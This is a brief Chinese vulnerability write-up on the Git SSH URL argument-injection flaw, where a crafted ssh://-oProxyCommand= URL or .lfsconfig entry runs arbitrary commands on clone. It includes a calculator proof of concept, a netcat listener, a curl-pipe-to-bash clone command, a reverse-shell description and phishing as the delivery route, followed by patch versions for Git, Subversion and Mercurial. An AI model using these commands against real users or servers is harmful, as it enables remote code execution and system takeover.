Git命令造成的反弹shell
漏洞描述:
Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。
[lfs] url = ssh://-oProxyCommand= some-command
当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。
这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。
通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。
利用方式:
远程钓鱼,社工
恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。
漏洞证明:
反弹计算器
git clone ssh://-oProxyCommand=gnome-calculator/wat
进一步利用
本机测试环境
先建立监听
nc -vlp 9999
利用git clone 获取镜像库
git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx
命令被成功执行
建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。
漏洞修复建议(或缓解措施):
Git:升级到Git v2.14.1版本
Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本
Mercurial:升级到Mercurial 4.3 and 4.2.3.版本
参考文章:
https://help.aliyun.com/knowledge_detail/57887.html
http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67